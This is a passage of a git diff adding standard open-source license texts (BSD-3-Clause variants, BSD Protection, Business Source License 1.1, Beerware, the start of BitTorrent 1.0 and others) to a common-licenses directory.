+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
+IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-LBNL b/meta/files/common-licenses/BSD-3-Clause-LBNL
new file mode 100644
index 0000000000..ab94601aed
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-LBNL
@@ -0,0 +1,12 @@
+Copyright (c) 2003, The Regents of the University of California, through Lawrence Berkeley National Laboratory (subject to receipt of any required approvals from the U.S. Dept. of Energy). All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+(1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+(2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+(3) Neither the name of the University of California, Lawrence Berkeley National Laboratory, U.S. Dept. of Energy nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+You are under no obligation whatsoever to provide any bug fixes, patches, or upgrades to the features, functionality or performance of the source code ("Enhancements") to anyone; however, if you choose to make your Enhancements available either publicly, or directly to Lawrence Berkeley National Laboratory, without imposing a separate written license agreement for such Enhancements, then you hereby grant the following license: a non-exclusive, royalty-free perpetual license to install, use, modify, prepare derivative works, incorporate into other computer software, distribute, and sublicense such Enhancements or derivative works thereof, in binary and source code form.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Modification b/meta/files/common-licenses/BSD-3-Clause-Modification
new file mode 100644
index 0000000000..4e337d7dbd
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Modification
@@ -0,0 +1,35 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+1. Redistributions in source code must retain the accompanying
+ copyright notice, this list of conditions, and the following
+ disclaimer.
+
+2. Redistributions in binary form must reproduce the accompanying
+ copyright notice, this list of conditions, and the following
+ disclaimer in the documentation and/or other materials provided
+ with the distribution.
+
+3. Names of the copyright holders must not be used to endorse or
+ promote products derived from this software without prior
+ written permission from the copyright holders.
+
+4. If any files are modified, you must cause the modified files to
+ carry prominent notices stating that you changed the files and
+ the date of any change.
+
+Disclaimer
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS "AS IS" AND
+ ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
+ TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
+ THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Military-License b/meta/files/common-licenses/BSD-3-Clause-No-Military-License
new file mode 100644
index 0000000000..e06aa93b51
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Military-License
@@ -0,0 +1,16 @@
+Copyright (c) year copyright holder. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1.
+Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2.
+Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3.
+Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+YOU ACKNOWLEDGE THAT THIS SOFTWARE IS NOT DESIGNED, LICENSED OR INTENDED FOR USE IN THE DESIGN, CONSTRUCTION, OPERATION OR MAINTENANCE OF ANY MILITARY FACILITY.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License
new file mode 100644
index 0000000000..b37aa3058a
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License
@@ -0,0 +1,14 @@
+
+Copyright 1994-2009 Sun Microsystems, Inc. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of Sun Microsystems, Inc. or the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+This software is provided "AS IS," without a warranty of any kind. ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN MICROSYSTEMS, INC. ("SUN") AND ITS LICENSORS SHALL NOT BE LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT, INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+You acknowledge that this software is not designed, licensed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014 b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014
new file mode 100644
index 0000000000..315c6d64c7
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014
@@ -0,0 +1,16 @@
+
+Copyright © 2008, 2014 Oracle and/or its affiliates. All rights reserved.
+
+Use is subject to license terms.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of Oracle Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+You acknowledge that this software is not designed, licensed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty
new file mode 100644
index 0000000000..17457e6769
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty
@@ -0,0 +1,14 @@
+
+Copyright (c) 2003-2005 Sun Microsystems, Inc. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ - Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ - Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ - Neither the name of Sun Microsystems, Inc. or the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+This software is provided "AS IS," without a warranty of any kind. ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN MICROSYSTEMS, INC. ("SUN") AND ITS LICENSORS SHALL NOT BE LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT, INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+You acknowledge that this software is not designed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Open-MPI b/meta/files/common-licenses/BSD-3-Clause-Open-MPI
new file mode 100644
index 0000000000..166a95b130
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Open-MPI
@@ -0,0 +1,34 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+- Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer listed
+ in this license in the documentation and/or other materials
+ provided with the distribution.
+
+- Neither the name of the copyright holders nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+The copyright holders provide no reassurances that the source code
+provided does not infringe any patent, copyright, or any other
+intellectual property rights of third parties. The copyright holders
+disclaim any liability to any recipient for claims brought against
+recipient by any third party for infringement of that parties
+intellectual property rights.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-4-Clause-Shortened b/meta/files/common-licenses/BSD-4-Clause-Shortened
new file mode 100644
index 0000000000..6812783d5f
--- /dev/null
+++ b/meta/files/common-licenses/BSD-4-Clause-Shortened
@@ -0,0 +1,13 @@
+License: BSD-4-Clause-Shortened
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that:
+
+(1) source code distributions retain the above copyright notice and this paragraph in its entirety,
+(2) distributions including binary code include the above copyright notice and this paragraph in its entirety in the documentation or other materials provided with the distribution, and
+(3) all advertising materials mentioning features or use of this software display the following acknowledgement:
+
+"This product includes software developed by the University of California, Lawrence Berkeley Laboratory and its contributors.''
+
+Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
diff --git a/meta/files/common-licenses/BSD-4-Clause-UC b/meta/files/common-licenses/BSD-4-Clause-UC
new file mode 100644
index 0000000000..69edbe3242
--- /dev/null
+++ b/meta/files/common-licenses/BSD-4-Clause-UC
@@ -0,0 +1,15 @@
+BSD-4-Clause (University of California-Specific)
+
+Copyright [various years] The Regents of the University of California. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. All advertising materials mentioning features or use of this software must display the following acknowledgement: This product includes software developed by the University of California, Berkeley and its contributors.
+
+4. Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-Protection b/meta/files/common-licenses/BSD-Protection
new file mode 100644
index 0000000000..73820813ff
--- /dev/null
+++ b/meta/files/common-licenses/BSD-Protection
@@ -0,0 +1,53 @@
+BSD Protection License
+February 2002
+
+Preamble
+--------
+
+The Berkeley Software Distribution ("BSD") license has proven very effective over the years at allowing for a wide spread of work throughout both commercial and non-commercial products. For programmers whose primary intention is to improve the general quality of available software, it is arguable that there is no better license than the BSD license, as it permits improvements to be used wherever they will help, without idealogical or metallic constraint.
+
+This is of particular value to those who produce reference implementations of proposed standards: The case of TCP/IP clearly illustrates that freely and universally available implementations leads the rapid acceptance of standards -- often even being used instead of a de jure standard (eg, OSI network models).
+
+With the rapid proliferation of software licensed under the GNU General Public License, however, the continued success of this role is called into question. Given that the inclusion of a few lines of "GPL-tainted" work into a larger body of work will result in restricted distribution -- and given that further work will likely build upon the "tainted" portions, making them difficult to remove at a future date -- there are inevitable circumstances where authors would, in order to protect their goal of providing for the widespread usage of their work, wish to guard against such "GPL-taint".
+
+In addition, one can imagine that companies which operate by producing and selling (possibly closed-source) code would wish to protect themselves against the rise of a GPL-licensed competitor. While under existing licenses this would mean not releasing their code under any form of open license, if a license existed under which they could incorporate any improvements back into their own (commercial) products then they might be far more willing to provide for non-closed distribution.
+
+For the above reasons, we put forth this "BSD Protection License": A license designed to retain the freedom granted by the BSD license to use licensed works in a wide variety of settings, both non-commercial and commercial, while protecting the work from having future contributors restrict that freedom.
+
+The precise terms and conditions for copying, distribution, and modification follow.
+
+BSD PROTECTION LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
+----------------------------------------------------------------
+
+0. Definitions.
+
+ a) "Program", below, refers to any program or work distributed under the terms of this license.
+ b) A "work based on the Program", below, refers to either the Program or any derivative work under copyright law.
+ c) "Modification", below, refers to the act of creating derivative works.
+ d) "You", below, refers to each licensee.
+
+1. Scope.
+This license governs the copying, distribution, and modification of the Program. Other activities are outside the scope of this license; The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program.
+
+2. Verbatim copies.
+You may copy and distribute verbatim copies of the Program as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+3. Modification and redistribution under closed license.
+You may modify your copy or copies of the Program, and distribute the resulting derivative works, provided that you meet the following conditions:
+
+ a) The copyright notice and disclaimer on the Program must be reproduced and included in the source code, documentation, and/or other materials provided in a manner in which such notices are normally distributed.
+ b) The derivative work must be clearly identified as such, in order that it may not be confused with the original work.
+ c) The license under which the derivative work is distributed must expressly prohibit the distribution of further derivative works.
+
+4. Modification and redistribution under open license.
+You may modify your copy or copies of the Program, and distribute the resulting derivative works, provided that you meet the following conditions:
+
+ a) The copyright notice and disclaimer on the Program must be reproduced and included in the source code, documentation, and/or other materials provided in a manner in which such notices are normally distributed.
+ b) You must clearly indicate the nature and date of any changes made to the Program. The full details need not necessarily be included in the individual modified files, provided that each modified file is clearly marked as such and instructions are included on where the full details of the modifications may be found.
+ c) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+
+5. Implied acceptance.
+You may not copy or distribute the Program or any derivative works except as expressly provided under this license. Consequently, any such action will be taken as implied acceptance of the terms of this license.
+
+6. NO WARRANTY.
+THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/BSD-Source-Code b/meta/files/common-licenses/BSD-Source-Code
new file mode 100644
index 0000000000..c41fc42733
--- /dev/null
+++ b/meta/files/common-licenses/BSD-Source-Code
@@ -0,0 +1,10 @@
+Copyright (c) 2011, Deusty, LLC
+All rights reserved.
+
+Redistribution and use of this software in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Neither the name of Deusty nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission of Deusty, LLC.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BUSL-1.1 b/meta/files/common-licenses/BUSL-1.1
new file mode 100644
index 0000000000..86d5e5b56d
--- /dev/null
+++ b/meta/files/common-licenses/BUSL-1.1
@@ -0,0 +1,72 @@
+Business Source License 1.1
+
+License text copyright © 2017 MariaDB Corporation Ab, All Rights Reserved.
+"Business Source License" is a trademark of MariaDB Corporation Ab.
+
+Terms
+
+The Licensor hereby grants you the right to copy, modify, create derivative
+works, redistribute, and make non-production use of the Licensed Work. The
+Licensor may make an Additional Use Grant, above, permitting limited
+production use.
+
+Effective on the Change Date, or the fourth anniversary of the first publicly
+available distribution of a specific version of the Licensed Work under this
+License, whichever comes first, the Licensor hereby grants you rights under
+the terms of the Change License, and the rights granted in the paragraph
+above terminate.
+
+If your use of the Licensed Work does not comply with the requirements
+currently in effect as described in this License, you must purchase a
+commercial license from the Licensor, its affiliated entities, or authorized
+resellers, or you must refrain from using the Licensed Work.
+
+All copies of the original and modified Licensed Work, and derivative works
+of the Licensed Work, are subject to this License. This License applies
+separately for each version of the Licensed Work and the Change Date may vary
+for each version of the Licensed Work released by Licensor.
+
+You must conspicuously display this License on each original or modified copy
+of the Licensed Work. If you receive the Licensed Work in original or
+modified form from a third party, the terms and conditions set forth in this
+License apply to your use of that work.
+
+Any use of the Licensed Work in violation of this License will automatically
+terminate your rights under this License for the current and all other
+versions of the Licensed Work.
+
+This License does not grant you any right in any trademark or logo of
+Licensor or its affiliates (provided that you may use a trademark or logo of
+Licensor as expressly required by this License).
+
+TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON
+AN “AS IS” BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS,
+EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND
+TITLE.
+
+MariaDB hereby grants you permission to use this License’s text to license
+your works, and to refer to it using the trademark “Business Source License”,
+as long as you comply with the Covenants of Licensor below.
+
+Covenants of Licensor
+
+In consideration of the right to use this License’s text and the “Business
+Source License” name and trademark, Licensor covenants to MariaDB, and to all
+other recipients of the licensed work to be provided by Licensor:
+
+1. To specify as the Change License the GPL Version 2.0 or any later version,
+ or a license that is compatible with GPL Version 2.0 or a later version,
+ where “compatible” means that software provided under the Change License can
+ be included in a program with software provided under GPL Version 2.0 or a
+ later version. Licensor may specify additional Change Licenses without
+ limitation.
+
+2. To either: (a) specify an additional grant of rights to use that does not
+ impose any additional restriction on the right granted in this License, as
+ the Additional Use Grant; or (b) insert the text “None”.
+
+3. To specify a Change Date.
+
+4. Not to modify this License in any other way.
+
diff --git a/meta/files/common-licenses/Bahyph b/meta/files/common-licenses/Bahyph
new file mode 100644
index 0000000000..a42e875ac3
--- /dev/null
+++ b/meta/files/common-licenses/Bahyph
@@ -0,0 +1,11 @@
+COPYRIGHT NOTICE
+
+These patterns and the generating sh script are Copyright (c) GMV 1991
+
+These patterns were developed for internal GMV use and are made public in the hope that they will benefit others. Also, spreading these patterns throughout the Spanish-language TeX community is expected to provide back-benefits to GMV in that it can help keeping GMV in the mainstream of spanish users.
+
+However, this is given for free and WITHOUT ANY WARRANTY. Under no circumstances can Julio Sanchez, GMV, Jos'e A. Ma~nas or any agents or representatives thereof be held responsible for any errors in this software nor for any damages derived from its use, even in case any of the above has been notified of the possibility of such damages. If any such situation arises, you responsible for repair. Use of this software is an explicit acceptance of these conditions.
+
+You can use this software for any purpose. You cannot delete this copyright notice. If you change this software, you must include comments explaining who, when and why. You are kindly requested to send any changes to tex@gmv.es. If you change the generating script, you must include code in it such that any output is clearly labeled as generated by a modified script. Despite the lack of warranty, we would like to hear about any problem you find. Please report problems to tex@gmv.es.
+
+END OF COPYRIGHT NOTICE
diff --git a/meta/files/common-licenses/Barr b/meta/files/common-licenses/Barr
new file mode 100644
index 0000000000..07f32df0ed
--- /dev/null
+++ b/meta/files/common-licenses/Barr
@@ -0,0 +1 @@
+This is a package of commutative diagram macros built on top of Xy-pic by Michael Barr (email: barr@barrs.org). Its use is unrestricted. It may be freely distributed, unchanged, for non-commercial or commercial use. If changed, it must be renamed. Inclusion in a commercial software package is also permitted, but I would appreciate receiving a free copy for my personal examination and use. There are no guarantees that this package is good for anything. I have tested it with LaTeX 2e, LaTeX 2.09 and Plain TeX. Although I know of no reason it will not work with AMSTeX, I have not tested it.
diff --git a/meta/files/common-licenses/Beerware b/meta/files/common-licenses/Beerware
new file mode 100644
index 0000000000..c7ffc1a04e
--- /dev/null
+++ b/meta/files/common-licenses/Beerware
@@ -0,0 +1 @@
+"THE BEER-WARE LICENSE" (Revision 42): <phk@FreeBSD.ORG> wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
diff --git a/meta/files/common-licenses/BitTorrent-1.0 b/meta/files/common-licenses/BitTorrent-1.0
new file mode 100644
index 0000000000..16e3b9a647
--- /dev/null
+++ b/meta/files/common-licenses/BitTorrent-1.0
@@ -0,0 +1,330 @@
+BitTorrent Open Source License
+
+Version 1.0
+
+This BitTorrent Open Source License (the "License") applies to the BitTorrent client and related software products as
+well as any updates or maintenance releases of that software ("BitTorrent Products") that are distributed by
+BitTorrent, Inc. ("Licensor"). Any BitTorrent Product licensed pursuant to this License is a Licensed Product.
+Licensed Product, in its entirety, is protected by U.S. copyright law. This License identifies the terms under which
+you may use, copy, distribute or modify Licensed Product.
+
+Preamble
+
+This Preamble is intended to describe, in plain English, the nature and scope of this License. However, this
+Preamble is not a part of this license. The legal effect of this License is dependent only upon the terms of the
+License and not this Preamble.
+
+This License complies with the Open Source Definition and is derived from the Jabber Open Source License 1.0 (the
+"JOSL"), which has been approved by Open Source Initiative. Sections 4(c) and 4(f)(iii) from the JOSL have been
+dropped.
+
+This License provides that:
+
+1. You may use, sell or give away the Licensed Product, alone or as a component of an aggregate software
+distribution containing programs from several different sources. No royalty or other fee is required.
+
+2. Both Source Code and executable versions of the Licensed Product, including Modifications made by previous
+Contributors, are available for your use. (The terms "Licensed Product," "Modifications," "Contributors" and "Source
+Code" are defined in the License.)
+
